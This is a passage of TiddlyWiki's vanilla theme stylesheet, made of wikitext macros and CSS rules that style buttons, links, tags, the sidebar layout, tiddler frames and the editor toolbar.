text=\"fluid-fixed\">\n$text$\n<$reveal state=\"$:/state/sidebar\" type=\"nomatch\" text=\"yes\" default=\"yes\">\n$hiddenSidebarText$\n</$reveal>\n</$reveal>\n\\end\n\n\\define if-editor-height-fixed(then,else)\n<$reveal state=\"$:/config/TextEditor/EditorHeight/Mode\" type=\"match\" text=\"fixed\">\n$then$\n</$reveal>\n<$reveal state=\"$:/config/TextEditor/EditorHeight/Mode\" type=\"match\" text=\"auto\">\n$else$\n</$reveal>\n\\end\n\n\\rules only filteredtranscludeinline transcludeinline macrodef macrocallinline macrocallblock\n\n/*\n** Start with the normalize CSS reset, and then belay some of its effects\n*/\n\n{{$:/themes/tiddlywiki/vanilla/reset}}\n\n*, input[type=\"search\"] {\n\tbox-sizing: border-box;\n\t-moz-box-sizing: border-box;\n\t-webkit-box-sizing: border-box;\n}\n\nhtml button {\n\tline-height: 1.2;\n\tcolor: <<colour button-foreground>>;\n\tbackground: <<colour button-background>>;\n\tborder-color: <<colour button-border>>;\n}\n\n/*\n** Basic element styles\n*/\n\nhtml {\n\tfont-family: {{$:/themes/tiddlywiki/vanilla/settings/fontfamily}};\n\ttext-rendering: optimizeLegibility; /* Enables kerning and ligatures etc. */\n\t-webkit-font-smoothing: antialiased;\n\t-moz-osx-font-smoothing: grayscale;\n}\n\nhtml:-webkit-full-screen {\n\tbackground-color: <<colour page-background>>;\n}\n\nbody.tc-body {\n\tfont-size: {{$:/themes/tiddlywiki/vanilla/metrics/fontsize}};\n\tline-height: {{$:/themes/tiddlywiki/vanilla/metrics/lineheight}};\n\tword-wrap: break-word;\n\t<<custom-background-datauri>>\n\tcolor: <<colour foreground>>;\n\tbackground-color: <<colour page-background>>;\n\tfill: <<colour foreground>>;\n}\n\n<<if-background-attachment \"\"\"\n\nbody.tc-body {\n background-color: transparent;\n}\n\n\"\"\">>\n\nh1, h2, h3, h4, h5, h6 {\n\tline-height: 1.2;\n\tfont-weight: 300;\n}\n\npre {\n\tdisplay: block;\n\tpadding: 14px;\n\tmargin-top: 1em;\n\tmargin-bottom: 1em;\n\tword-break: normal;\n\tword-wrap: break-word;\n\twhite-space: {{$:/themes/tiddlywiki/vanilla/options/codewrapping}};\n\tbackground-color: <<colour pre-background>>;\n\tborder: 1px solid <<colour pre-border>>;\n\tpadding: 0 3px 2px;\n\tborder-radius: 3px;\n\tfont-family: {{$:/themes/tiddlywiki/vanilla/settings/codefontfamily}};\n}\n\ncode {\n\tcolor: <<colour code-foreground>>;\n\tbackground-color: <<colour code-background>>;\n\tborder: 1px solid <<colour code-border>>;\n\twhite-space: {{$:/themes/tiddlywiki/vanilla/options/codewrapping}};\n\tpadding: 0 3px 2px;\n\tborder-radius: 3px;\n\tfont-family: {{$:/themes/tiddlywiki/vanilla/settings/codefontfamily}};\n}\n\nblockquote {\n\tborder-left: 5px solid <<colour blockquote-bar>>;\n\tmargin-left: 25px;\n\tpadding-left: 10px;\n\tquotes: \"\\201C\"\"\\201D\"\"\\2018\"\"\\2019\";\n}\n\nblockquote > div {\n\tmargin-top: 1em;\n\tmargin-bottom: 1em;\n}\n\nblockquote.tc-big-quote {\n\tfont-family: Georgia, serif;\n\tposition: relative;\n\tbackground: <<colour pre-background>>;\n\tborder-left: none;\n\tmargin-left: 50px;\n\tmargin-right: 50px;\n\tpadding: 10px;\n border-radius: 8px;\n}\n\nblockquote.tc-big-quote cite:before {\n\tcontent: \"\\2014 \\2009\";\n}\n\nblockquote.tc-big-quote:before {\n\tfont-family: Georgia, serif;\n\tcolor: <<colour blockquote-bar>>;\n\tcontent: open-quote;\n\tfont-size: 8em;\n\tline-height: 0.1em;\n\tmargin-right: 0.25em;\n\tvertical-align: -0.4em;\n\tposition: absolute;\n left: -50px;\n top: 42px;\n}\n\nblockquote.tc-big-quote:after {\n\tfont-family: Georgia, serif;\n\tcolor: <<colour blockquote-bar>>;\n\tcontent: close-quote;\n\tfont-size: 8em;\n\tline-height: 0.1em;\n\tmargin-right: 0.25em;\n\tvertical-align: -0.4em;\n\tposition: absolute;\n right: -80px;\n bottom: -20px;\n}\n\ndl dt {\n\tfont-weight: bold;\n\tmargin-top: 6px;\n}\n\nbutton, textarea, input, select {\n\toutline-color: <<colour primary>>;\n}\n\ntextarea,\ninput[type=text],\ninput[type=search],\ninput[type=\"\"],\ninput:not([type]) {\n\tcolor: <<colour foreground>>;\n\tbackground: <<colour background>>;\n}\n\ninput[type=\"checkbox\"] {\n vertical-align: middle;\n}\n\n.tc-muted {\n\tcolor: <<colour muted-foreground>>;\n}\n\nsvg.tc-image-button {\n\tpadding: 0px 1px 1px 0px;\n}\n\n.tc-icon-wrapper > svg {\n\twidth: 1em;\n\theight: 1em;\n}\n\nkbd {\n\tdisplay: inline-block;\n\tpadding: 3px 5px;\n\tfont-size: 0.8em;\n\tline-height: 1.2;\n\tcolor: <<colour foreground>>;\n\tvertical-align: middle;\n\tbackground-color: <<colour background>>;\n\tborder: solid 1px <<colour muted-foreground>>;\n\tborder-bottom-color: <<colour muted-foreground>>;\n\tborder-radius: 3px;\n\tbox-shadow: inset 0 -1px 0 <<colour muted-foreground>>;\n}\n\n/*\nMarkdown likes putting code elements inside pre elements\n*/\npre > code {\n\tpadding: 0;\n\tborder: none;\n\tbackground-color: inherit;\n\tcolor: inherit;\n}\n\ntable {\n\tborder: 1px solid <<colour table-border>>;\n\twidth: auto;\n\tmax-width: 100%;\n\tcaption-side: bottom;\n\tmargin-top: 1em;\n\tmargin-bottom: 1em;\n\t/* next 2 elements needed, since normalize 8.0.1 */\n\tborder-collapse: collapse;\n\tborder-spacing: 0;\n}\n\ntable th, table td {\n\tpadding: 0 7px 0 7px;\n\tborder-top: 1px solid <<colour table-border>>;\n\tborder-left: 1px solid <<colour table-border>>;\n}\n\ntable thead tr td, table th {\n\tbackground-color: <<colour table-header-background>>;\n\tfont-weight: bold;\n}\n\ntable tfoot tr td {\n\tbackground-color: <<colour table-footer-background>>;\n}\n\n.tc-csv-table {\n\twhite-space: nowrap;\n}\n\n.tc-tiddler-frame img,\n.tc-tiddler-frame svg,\n.tc-tiddler-frame canvas,\n.tc-tiddler-frame embed,\n.tc-tiddler-frame iframe {\n\tmax-width: 100%;\n}\n\n.tc-tiddler-body > embed,\n.tc-tiddler-body > iframe {\n\twidth: 100%;\n\theight: 600px;\n}\n\n/*\n** Links\n*/\n\nbutton.tc-tiddlylink,\na.tc-tiddlylink {\n\ttext-decoration: none;\n\tfont-weight: 500;\n\tcolor: <<colour tiddler-link-foreground>>;\n\t-webkit-user-select: inherit; /* Otherwise the draggable attribute makes links impossible to select */\n}\n\n.tc-sidebar-lists a.tc-tiddlylink {\n\tcolor: <<colour sidebar-tiddler-link-foreground>>;\n}\n\n.tc-sidebar-lists a.tc-tiddlylink:hover {\n\tcolor: <<colour sidebar-tiddler-link-foreground-hover>>;\n}\n\nbutton.tc-tiddlylink:hover,\na.tc-tiddlylink:hover {\n\ttext-decoration: underline;\n}\n\na.tc-tiddlylink-resolves {\n}\n\na.tc-tiddlylink-shadow {\n\tfont-weight: bold;\n}\n\na.tc-tiddlylink-shadow.tc-tiddlylink-resolves {\n\tfont-weight: normal;\n}\n\na.tc-tiddlylink-missing {\n\tfont-style: italic;\n}\n\na.tc-tiddlylink-external {\n\ttext-decoration: underline;\n\tcolor: <<colour external-link-foreground>>;\n\tbackground-color: <<colour external-link-background>>;\n}\n\na.tc-tiddlylink-external:visited {\n\tcolor: <<colour external-link-foreground-visited>>;\n\tbackground-color: <<colour external-link-background-visited>>;\n}\n\na.tc-tiddlylink-external:hover {\n\tcolor: <<colour external-link-foreground-hover>>;\n\tbackground-color: <<colour external-link-background-hover>>;\n}\n\n/*\n** Drag and drop styles\n*/\n\n.tc-tiddler-dragger {\n\tposition: relative;\n\tz-index: -10000;\n}\n\n.tc-tiddler-dragger-inner {\n\tposition: absolute;\n\ttop: -1000px;\n\tleft: -1000px;\n\tdisplay: inline-block;\n\tpadding: 8px 20px;\n\tfont-size: 16.9px;\n\tfont-weight: bold;\n\tline-height: 20px;\n\tcolor: <<colour dragger-foreground>>;\n\ttext-shadow: 0 1px 0 rgba(0, 0, 0, 1);\n\twhite-space: nowrap;\n\tvertical-align: baseline;\n\tbackground-color: <<colour dragger-background>>;\n\tborder-radius: 20px;\n}\n\n.tc-tiddler-dragger-cover {\n\tposition: absolute;\n\tbackground-color: <<colour page-background>>;\n}\n\n.tc-dropzone {\n\tposition: relative;\n}\n\n.tc-dropzone.tc-dragover:before {\n\tz-index: 10000;\n\tdisplay: block;\n\tposition: fixed;\n\ttop: 0;\n\tleft: 0;\n\tright: 0;\n\tbackground: <<colour dropzone-background>>;\n\ttext-align: center;\n\tcontent: \"<<lingo DropMessage>>\";\n}\n\n.tc-droppable > .tc-droppable-placeholder {\n\tdisplay: none;\n}\n\n.tc-droppable.tc-dragover > .tc-droppable-placeholder {\n\tdisplay: block;\n\tborder: 2px dashed <<colour dropzone-background>>;\n}\n\n.tc-draggable {\n\tcursor: move;\n}\n\n.tc-sidebar-tab-open .tc-droppable-placeholder, .tc-tagged-draggable-list .tc-droppable-placeholder,\n.tc-links-draggable-list .tc-droppable-placeholder {\n\tline-height: 2em;\n\theight: 2em;\n}\n\n.tc-sidebar-tab-open-item {\n\tposition: relative;\n}\n\n.tc-sidebar-tab-open .tc-btn-invisible.tc-btn-mini svg {\n\tfont-size: 0.7em;\n\tfill: <<colour muted-foreground>>;\n}\n\n/*\n** Plugin reload warning\n*/\n\n.tc-plugin-reload-warning {\n\tz-index: 1000;\n\tdisplay: block;\n\tposition: fixed;\n\ttop: 0;\n\tleft: 0;\n\tright: 0;\n\tbackground: <<colour alert-background>>;\n\ttext-align: center;\n}\n\n/*\n** Buttons\n*/\n\nbutton svg, button img, label svg, label img {\n\tvertical-align: middle;\n}\n\n.tc-btn-invisible {\n\tpadding: 0;\n\tmargin: 0;\n\tbackground: none;\n\tborder: none;\n \tcursor: pointer;\n\tcolor: <<colour foreground>>;\n}\n\n.tc-btn-boxed {\n\tfont-size: 0.6em;\n\tpadding: 0.2em;\n\tmargin: 1px;\n\tbackground: none;\n\tborder: 1px solid <<colour tiddler-controls-foreground>>;\n\tborder-radius: 0.25em;\n}\n\nhtml body.tc-body .tc-btn-boxed svg {\n\tfont-size: 1.6666em;\n}\n\n.tc-btn-boxed:hover {\n\tbackground: <<colour muted-foreground>>;\n\tcolor: <<colour background>>;\n}\n\nhtml body.tc-body .tc-btn-boxed:hover svg {\n\tfill: <<colour background>>;\n}\n\n.tc-btn-rounded {\n\tfont-size: 0.5em;\n\tline-height: 2;\n\tpadding: 0em 0.3em 0.2em 0.4em;\n\tmargin: 1px;\n\tborder: 1px solid <<colour muted-foreground>>;\n\tbackground: <<colour muted-foreground>>;\n\tcolor: <<colour background>>;\n\tborder-radius: 2em;\n}\n\nhtml body.tc-body .tc-btn-rounded svg {\n\tfont-size: 1.6666em;\n\tfill: <<colour background>>;\n}\n\n.tc-btn-rounded:hover {\n\tborder: 1px solid <<colour muted-foreground>>;\n\tbackground: <<colour background>>;\n\tcolor: <<colour muted-foreground>>;\n}\n\nhtml body.tc-body .tc-btn-rounded:hover svg {\n\tfill: <<colour muted-foreground>>;\n}\n\n.tc-btn-icon svg {\n\theight: 1em;\n\twidth: 1em;\n\tfill: <<colour muted-foreground>>;\n}\n\n.tc-btn-text {\n\tpadding: 0;\n\tmargin: 0;\n}\n\n/* used for documentation \"fake\" buttons */\n.tc-btn-standard {\n\tline-height: 1.8;\n\tcolor: #667;\n\tbackground-color: #e0e0e0;\n\tborder: 1px solid #888;\n\tpadding: 2px 1px 2px 1px;\n\tmargin: 1px 4px 1px 4px;\n}\n\n.tc-btn-big-green {\n\tdisplay: inline-block;\n\tpadding: 8px;\n\tmargin: 4px 8px 4px 8px;\n\tbackground: <<colour download-background>>;\n\tcolor: <<colour download-foreground>>;\n\tfill: <<colour download-foreground>>;\n\tborder: none;\n\tborder-radius: 2px;\n\tfont-size: 1.2em;\n\tline-height: 1.4em;\n\ttext-decoration: none;\n}\n\n.tc-btn-big-green svg,\n.tc-btn-big-green img {\n\theight: 2em;\n\twidth: 2em;\n\tvertical-align: middle;\n\tfill: <<colour download-foreground>>;\n}\n\n.tc-primary-btn {\n \tbackground: <<colour primary>>;\n}\n\n.tc-sidebar-lists input {\n\tcolor: <<colour foreground>>;\n}\n\n.tc-sidebar-lists button {\n\tcolor: <<colour sidebar-button-foreground>>;\n\tfill: <<colour sidebar-button-foreground>>;\n}\n\n.tc-sidebar-lists button.tc-btn-mini {\n\tcolor: <<colour sidebar-muted-foreground>>;\n}\n\n.tc-sidebar-lists button.tc-btn-mini:hover {\n\tcolor: <<colour sidebar-muted-foreground-hover>>;\n}\n\nbutton svg.tc-image-button, button .tc-image-button img {\n\theight: 1em;\n\twidth: 1em;\n}\n\n.tc-unfold-banner {\n\tposition: absolute;\n\tpadding: 0;\n\tmargin: 0;\n\tbackground: none;\n\tborder: none;\n\twidth: 100%;\n\twidth: calc(100% + 2px);\n\tmargin-left: -43px;\n\ttext-align: center;\n\tborder-top: 2px solid <<colour tiddler-info-background>>;\n\tmargin-top: 4px;\n}\n\n.tc-unfold-banner:hover {\n\tbackground: <<colour tiddler-info-background>>;\n\tborder-top: 2px solid <<colour tiddler-info-border>>;\n}\n\n.tc-unfold-banner svg, .tc-fold-banner svg {\n\theight: 0.75em;\n\tfill: <<colour tiddler-controls-foreground>>;\n}\n\n.tc-unfold-banner:hover svg, .tc-fold-banner:hover svg {\n\tfill: <<colour tiddler-controls-foreground-hover>>;\n}\n\n.tc-fold-banner {\n\tposition: absolute;\n\tpadding: 0;\n\tmargin: 0;\n\tbackground: none;\n\tborder: none;\n\twidth: 23px;\n\ttext-align: center;\n\tmargin-left: -35px;\n\ttop: 6px;\n\tbottom: 6px;\n}\n\n.tc-fold-banner:hover {\n\tbackground: <<colour tiddler-info-background>>;\n}\n\n@media (max-width: {{$:/themes/tiddlywiki/vanilla/metrics/sidebarbreakpoint}}) {\n\n\t.tc-unfold-banner {\n\t\tposition: static;\n\t\twidth: calc(100% + 59px);\n\t}\n\n\t.tc-fold-banner {\n\t\twidth: 16px;\n\t\tmargin-left: -16px;\n\t\tfont-size: 0.75em;\n\t}\n\n}\n\n/*\n** Tags and missing tiddlers\n*/\n\n.tc-tag-list-item {\n\tposition: relative;\n\tdisplay: inline-block;\n\tmargin-right: 7px;\n}\n\n.tc-tags-wrapper {\n\tmargin: 4px 0 14px 0;\n}\n\n.tc-missing-tiddler-label {\n\tfont-style: italic;\n\tfont-weight: normal;\n\tdisplay: inline-block;\n\tfont-size: 11.844px;\n\tline-height: 14px;\n\twhite-space: nowrap;\n\tvertical-align: baseline;\n}\n\nbutton.tc-tag-label, span.tc-tag-label {\n\tdisplay: inline-block;\n\tpadding: 0.16em 0.7em;\n\tfont-size: 0.9em;\n\tfont-weight: 400;\n\tline-height: 1.2em;\n\tcolor: <<colour tag-foreground>>;\n\twhite-space: nowrap;\n\tvertical-align: baseline;\n\tbackground-color: <<colour tag-background>>;\n\tborder-radius: 1em;\n}\n\n.tc-sidebar-scrollable .tc-tag-label {\n\ttext-shadow: none;\n}\n\n.tc-untagged-separator {\n\twidth: 10em;\n\tleft: 0;\n\tmargin-left: 0;\n\tborder: 0;\n\theight: 1px;\n\tbackground: <<colour tab-divider>>;\n}\n\nbutton.tc-untagged-label {\n\tbackground-color: <<colour untagged-background>>;\n}\n\n.tc-tag-label svg, .tc-tag-label img {\n\theight: 1em;\n\twidth: 1em;\n\tmargin-right: 3px; \n\tmargin-bottom: 1px;\n\tvertical-align: text-bottom;\n}\n\n.tc-edit-tags button.tc-remove-tag-button svg {\n\tfont-size: 0.7em;\n\tvertical-align: middle;\n}\n\n.tc-tag-manager-table .tc-tag-label {\n\twhite-space: normal;\n}\n\n.tc-tag-manager-tag {\n\twidth: 100%;\n}\n\nbutton.tc-btn-invisible.tc-remove-tag-button {\n\toutline: none;\n}\n\n/*\n** Page layout\n*/\n\n.tc-topbar {\n\tposition: fixed;\n\tz-index: 1200;\n}\n\n.tc-topbar-left {\n\tleft: 29px;\n\ttop: 5px;\n}\n\n.tc-topbar-right {\n\ttop: 5px;\n\tright: 29px;\n}\n\n.tc-topbar button {\n\tpadding: 8px;\n}\n\n.tc-topbar svg {\n\tfill: <<colour muted-foreground>>;\n}\n\n.tc-topbar button:hover svg {\n\tfill: <<colour foreground>>;\n}\n\n.tc-sidebar-header {\n\tcolor: <<colour sidebar-foreground>>;\n\tfill: <<colour sidebar-foreground>>;\n}\n\n.tc-sidebar-header .tc-title a.tc-tiddlylink-resolves {\n\tfont-weight: 300;\n}\n\n.tc-sidebar-header .tc-sidebar-lists p {\n\tmargin-top: 3px;\n\tmargin-bottom: 3px;\n}\n\n.tc-sidebar-header .tc-missing-tiddler-label {\n\tcolor: <<colour sidebar-foreground>>;\n}\n\n.tc-advanced-search input {\n\twidth: 60%;\n}\n\n.tc-search a svg {\n\twidth: 1.2em;\n\theight: 1.2em;\n\tvertical-align: middle;\n}\n\n.tc-page-controls {\n\tmargin-top: 14px;\n\tfont-size: 1.5em;\n}\n\n.tc-page-controls .tc-drop-down {\n font-size: 1rem;\n}\n\n.tc-page-controls button {\n\tmargin-right: 0.5em;\n}\n\n.tc-page-controls a.tc-tiddlylink:hover {\n\ttext-decoration: none;\n}\n\n.tc-page-controls img {\n\twidth: 1em;\n}\n\n.tc-page-controls svg {\n\tfill: <<colour sidebar-controls-foreground>>;\n}\n\n.tc-page-controls button:hover svg, .tc-page-controls a:hover svg {\n\tfill: <<colour sidebar-controls-foreground-hover>>;\n}\n\n.tc-menu-list-item {\n\twhite-space: nowrap;\n}\n\n.tc-menu-list-count {\n\tfont-weight: bold;\n}\n\n.tc-menu-list-subitem {\n\tpadding-left: 7px;\n}\n\n.tc-story-river {\n\tposition: relative;\n}\n\n@media (max-width: {{$:/themes/tiddlywiki/vanilla/metrics/sidebarbreakpoint}}) {\n\n\t.tc-sidebar-header {\n\t\tpadding: 14px;\n\t\tmin-height: 32px;\n\t\tmargin-top: {{$:/themes/tiddlywiki/vanilla/metrics/storytop}};\n\t}\n\n\t.tc-story-river {\n\t\tposition: relative;\n\t\tpadding: 0;\n\t}\n}\n\n@media (min-width: {{$:/themes/tiddlywiki/vanilla/metrics/sidebarbreakpoint}}) {\n\n\t.tc-message-box {\n\t\tmargin: 21px -21px 21px -21px;\n\t}\n\n\t.tc-sidebar-scrollable {\n\t\tposition: fixed;\n\t\ttop: {{$:/themes/tiddlywiki/vanilla/metrics/storytop}};\n\t\tleft: {{$:/themes/tiddlywiki/vanilla/metrics/storyright}};\n\t\tbottom: 0;\n\t\tright: 0;\n\t\toverflow-y: auto;\n\t\toverflow-x: auto;\n\t\t-webkit-overflow-scrolling: touch;\n\t\tmargin: 0 0 0 -42px;\n\t\tpadding: 71px 0 28px 42px;\n\t}\n\n\thtml[dir=\"rtl\"] .tc-sidebar-scrollable {\n\t\tleft: auto;\n\t\tright: {{$:/themes/tiddlywiki/vanilla/metrics/storyright}};\n\t}\n\n\t.tc-story-river {\n\t\tposition: relative;\n\t\tleft: {{$:/themes/tiddlywiki/vanilla/metrics/storyleft}};\n\t\ttop: {{$:/themes/tiddlywiki/vanilla/metrics/storytop}};\n\t\twidth: {{$:/themes/tiddlywiki/vanilla/metrics/storywidth}};\n\t\tpadding: 42px 42px 42px 42px;\n\t}\n\n<<if-no-sidebar \"\n\n\t.tc-story-river {\n\t\twidth: calc(100% - {{$:/themes/tiddlywiki/vanilla/metrics/storyleft}});\n\t}\n\n\">>\n\n}\n\n@media print {\n\n\tbody.tc-body {\n\t\tbackground-color: transparent;\n\t}\n\n\t.tc-sidebar-header, .tc-topbar {\n\t\tdisplay: none;\n\t}\n\n\t.tc-story-river {\n\t\tmargin: 0;\n\t\tpadding: 0;\n\t}\n\n\t.tc-story-river .tc-tiddler-frame {\n\t\tmargin: 0;\n\t\tborder: none;\n\t\tpadding: 0;\n\t}\n}\n\n/*\n** Tiddler styles\n*/\n\n.tc-tiddler-frame {\n\tposition: relative;\n\tmargin-bottom: 28px;\n\tbackground-color: <<colour tiddler-background>>;\n\tborder: 1px solid <<colour tiddler-border>>;\n}\n\n{{$:/themes/tiddlywiki/vanilla/sticky}}\n\n.tc-tiddler-info {\n\tpadding: 14px 42px 14px 42px;\n\tbackground-color: <<colour tiddler-info-background>>;\n\tborder-top: 1px solid <<colour tiddler-info-border>>;\n\tborder-bottom: 1px solid <<colour tiddler-info-border>>;\n}\n\n.tc-tiddler-info p {\n\tmargin-top: 3px;\n\tmargin-bottom: 3px;\n}\n\n.tc-tiddler-info .tc-tab-buttons button.tc-tab-selected {\n\tbackground-color: <<colour tiddler-info-tab-background>>;\n\tborder-bottom: 1px solid <<colour tiddler-info-tab-background>>;\n}\n\n.tc-view-field-table {\n\twidth: 100%;\n}\n\n.tc-view-field-name {\n\twidth: 1%; /* Makes this column be as narrow as possible */\n\ttext-align: right;\n\tfont-style: italic;\n\tfont-weight: 200;\n}\n\n.tc-view-field-value {\n}\n\n@media (max-width: {{$:/themes/tiddlywiki/vanilla/metrics/sidebarbreakpoint}}) {\n\t.tc-tiddler-frame {\n\t\tpadding: 14px 14px 14px 14px;\n\t}\n\n\t.tc-tiddler-info {\n\t\tmargin: 0 -14px 0 -14px;\n\t}\n}\n\n@media (min-width: {{$:/themes/tiddlywiki/vanilla/metrics/sidebarbreakpoint}}) {\n\t.tc-tiddler-frame {\n\t\tpadding: 28px 42px 42px 42px;\n\t\twidth: {{$:/themes/tiddlywiki/vanilla/metrics/tiddlerwidth}};\n\t\tborder-radius: 2px;\n\t}\n\n<<if-no-sidebar \"\n\n\t.tc-tiddler-frame {\n\t\twidth: 100%;\n\t}\n\n\">>\n\n\t.tc-tiddler-info {\n\t\tmargin: 0 -42px 0 -42px;\n\t}\n}\n\n.tc-site-title,\n.tc-titlebar {\n\tfont-weight: 300;\n\tfont-size: 2.35em;\n\tline-height: 1.2em;\n\tcolor: <<colour tiddler-title-foreground>>;\n\tmargin: 0;\n}\n\n.tc-site-title {\n\tcolor: <<colour site-title-foreground>>;\n}\n\n.tc-tiddler-title-icon {\n\tvertical-align: middle;\n\tmargin-right: .1em;\n}\n\n.tc-system-title-prefix {\n\tcolor: <<colour muted-foreground>>;\n}\n\n.tc-titlebar h2 {\n\tfont-size: 1em;\n\tdisplay: inline;\n}\n\n.tc-titlebar img {\n\theight: 1em;\n}\n\n.tc-subtitle {\n\tfont-size: 0.9em;\n\tcolor: <<colour tiddler-subtitle-foreground>>;\n\tfont-weight: 300;\n}\n\n.tc-subtitle .tc-tiddlylink {\n\tmargin-right: .3em;\n}\n\n.tc-tiddler-missing .tc-title {\n font-style: italic;\n font-weight: normal;\n}\n\n.tc-tiddler-frame .tc-tiddler-controls {\n\tfloat: right;\n}\n\n.tc-tiddler-controls .tc-drop-down {\n\tfont-size: 0.6em;\n}\n\n.tc-tiddler-controls .tc-drop-down .tc-drop-down {\n\tfont-size: 1em;\n}\n\n.tc-tiddler-controls > span > button,\n.tc-tiddler-controls > span > span > button,\n.tc-tiddler-controls > span > span > span > button {\n\tvertical-align: baseline;\n\tmargin-left:5px;\n}\n\n.tc-tiddler-controls button svg, .tc-tiddler-controls button img,\n.tc-search button svg, .tc-search a svg {\n\tfill: <<colour tiddler-controls-foreground>>;\n}\n\n.tc-tiddler-controls button svg, .tc-tiddler-controls button img {\n\theight: 0.75em;\n}\n\n.tc-search button svg, .tc-search a svg {\n height: 1.2em;\n width: 1.2em;\n margin: 0 0.25em;\n}\n\n.tc-tiddler-controls button.tc-selected svg,\n.tc-page-controls button.tc-selected svg {\n\tfill: <<colour tiddler-controls-foreground-selected>>;\n}\n\n.tc-tiddler-controls button.tc-btn-invisible:hover svg,\n.tc-search button:hover svg, .tc-search a:hover svg {\n\tfill: <<colour tiddler-controls-foreground-hover>>;\n}\n\n@media print {\n\t.tc-tiddler-controls {\n\t\tdisplay: none;\n\t}\n}\n\n.tc-tiddler-help { /* Help prompts within tiddler template */\n\tcolor: <<colour muted-foreground>>;\n\tmargin-top: 14px;\n}\n\n.tc-tiddler-help a.tc-tiddlylink {\n\tcolor: <<colour very-muted-foreground>>;\n}\n\n.tc-tiddler-frame .tc-edit-texteditor {\n\twidth: 100%;\n\tmargin: 4px 0 4px 0;\n}\n\n.tc-tiddler-frame input.tc-edit-texteditor,\n.tc-tiddler-frame textarea.tc-edit-texteditor,\n.tc-tiddler-frame iframe.tc-edit-texteditor {\n\tpadding: 3px 3px 3px 3px;\n\tborder: 1px solid <<colour tiddler-editor-border>>;\n\tbackground-color: <<colour tiddler-editor-background>>;\n\tline-height: 1.3em;\n\t-webkit-appearance: none;\n\tfont-family: {{$:/themes/tiddlywiki/vanilla/settings/editorfontfamily}};\n}\n\n.tc-tiddler-frame .tc-binary-warning {\n\twidth: 100%;\n\theight: 5em;\n\ttext-align: center;\n\tpadding: 3em 3em 6em 3em;\n\tbackground: <<colour alert-background>>;\n\tborder: 1px solid <<colour alert-border>>;\n}\n\ncanvas.tc-edit-bitmapeditor {\n\tborder: 6px solid <<colour tiddler-editor-border-image>>;\n\tcursor: crosshair;\n\t-moz-user-select: none;\n\t-webkit-user-select: none;\n\t-ms-user-select: none;\n\tmargin-top: 6px;\n\tmargin-bottom: 6px;\n}\n\n.tc-edit-bitmapeditor-width {\n\tdisplay: block;\n}\n\n.tc-edit-bitmapeditor-height {\n\tdisplay: block;\n}\n\n.tc-tiddler-body {\n\tclear: both;\n}\n\n.tc-tiddler-frame .tc-tiddler-body {\n\tfont-size: {{$:/themes/tiddlywiki/vanilla/metrics/bodyfontsize}};\n\tline-height: {{$:/themes/tiddlywiki/vanilla/metrics/bodylineheight}};\n}\n\n.tc-titlebar, .tc-tiddler-edit-title {\n\toverflow: hidden; /* https://github.com/Jermolene/TiddlyWiki5/issues/282 */\n}\n\nhtml body.tc-body.tc-single-tiddler-window {\n\tmargin: 1em;\n\tbackground: <<colour tiddler-background>>;\n}\n\n.tc-single-tiddler-window img,\n.tc-single-tiddler-window svg,\n.tc-single-tiddler-window canvas,\n.tc-single-tiddler-window embed,\n.tc-single-tiddler-window iframe {\n\tmax-width: 100%;\n}\n\n/*\n** Editor\n*/\n\n.tc-editor-toolbar {\n\tmargin-top: 8px;\n}\n\n.tc-editor-toolbar button {\n\tvertical-align: middle;\n\tbackground-color: <<colour tiddler-controls-foreground>>;\n\tcolor: <<colour tiddler-controls-foreground-selected>>;\n\tfill: <<colour tiddler-controls-foreground-selected>>;\n\tborder-radius: 4px;\n\tpadding: 3px;\n\tmargin: 2px 0 2px 4px;\n}\n\n.tc-editor-toolbar button.tc-text-editor-toolbar-item-adjunct {\n\tmargin-left: 1px;\n\twidth: 1em;\n\tborder-radius: 8px;\n}\n\n.tc-editor-toolbar button.tc-text-editor-toolbar-item-start-group {\n\tmargin-left: 11px;\n}\n\n.tc-editor-toolbar button.tc-selected {\n\tbackground-color: <<colour primary>>;\n}\n\n.tc-editor-toolbar button svg {\n\twidth: 1.6em;\n\theight: 1.2em;\n}\n\n.tc-editor-toolbar button:hover {\n\tbackground-color: <<colour tiddler-controls-foreground-selected>>;\n\tfill: <<colour background>>;\n\tcolor: <<colour background>>;\n}\n\n.tc-editor-toolbar .tc-text-editor-toolbar-more {\n\twhite-space: normal;\n}\n\n.tc-editor-toolbar .tc-text-editor-toolbar-more button {\n\tdisplay: inline-block;\n\tpadding: 3px;\n\twidth: auto;\n}\n\n.tc-editor-toolbar .tc-search-results {\n\tpadding: 0;\n}\n\n/*\n** Adjustments for fluid-fixed mode\n*/\n\n@media (min-width: {{$:/themes/tiddlywiki/vanilla/metrics/sidebarbreakpoint}}) {\n\n<<if-fluid-fixed text:\"\"\"\n\n\t.tc-story-river {\n\t\tpadding-right: 0;\n\t\tposition: relative;\n\t\twidth: auto;\n\t\tleft: 0;\n\t\tmargin-left: {{$:/themes/tiddlywiki/vanilla/metrics/storyleft}};\n\t\tmargin-right: {{$:/themes/tiddlywiki/vanilla/metrics/sidebarwidth}};\n\t}\n\n\t.tc-tiddler-frame {\n\t\twidth: 100%;\n\t}\n\n\t.tc-sidebar-scrollable {\n\t\tleft: auto;\n\t\tbottom: 0;\n\t\tright: 0;\n\t\twidth: {{$:/themes/tiddlywiki/vanilla/metrics/sidebarwidth}};\n\t}\n\n\tbody.tc-body .tc-storyview-zoomin-tiddler {\n\t\twidth: 100%;\n\t\twidth: calc(100% - 42px);\n\t}\n\n\"\"\" hiddenSidebarText:\"\"\"\n\n\t.tc-story-river {\n\t\tpadding-right: 3em;\n\t\tmargin-right: 0;\n\t}\n\n\tbody.tc-body .tc-storyview-zoomin-tiddler {\n\t\twidth: 100%;\n\t\twidth: calc(100% - 84px);\n\t}\n\n\"\"\">>\n\n}\n\n/*\n** Toolbar buttons\n*/\n\n.tc-page-controls svg.tc-image-new-button {\n fill: <<colour toolbar-new-button>>;\n}\n\n.tc-page-controls svg.tc-image-options-button {\n fill: <<colour toolbar-options-button>>;\n}\n\n.tc-page-controls svg.tc-image-save-button {\n fill: <<colour toolbar-save-button>>;\n}\n\n.tc-tiddler-controls button svg.tc-image-info-button {\n fill: <<colour toolbar-info-button>>;\n}\n\n.tc-tiddler-controls button svg.tc-image-edit-button {\n fill: <<colour toolbar-edit-button>>;\n}\n\n.tc-tiddler-controls button svg.tc-image-close-button {\n fill: <<colour toolbar-close-button>>;\n}\n\n.tc-tiddler-controls button svg.tc-image-delete-button {\n fill: <<colour toolbar-delete-button>>;\n}\n\n.tc-tiddler-controls button svg.tc-image-cancel-button {\n fill: <<colour toolbar-cancel-button>>;\n}\n\n.tc-tiddler-controls button svg.tc-image-done-button {\n fill: <<colour 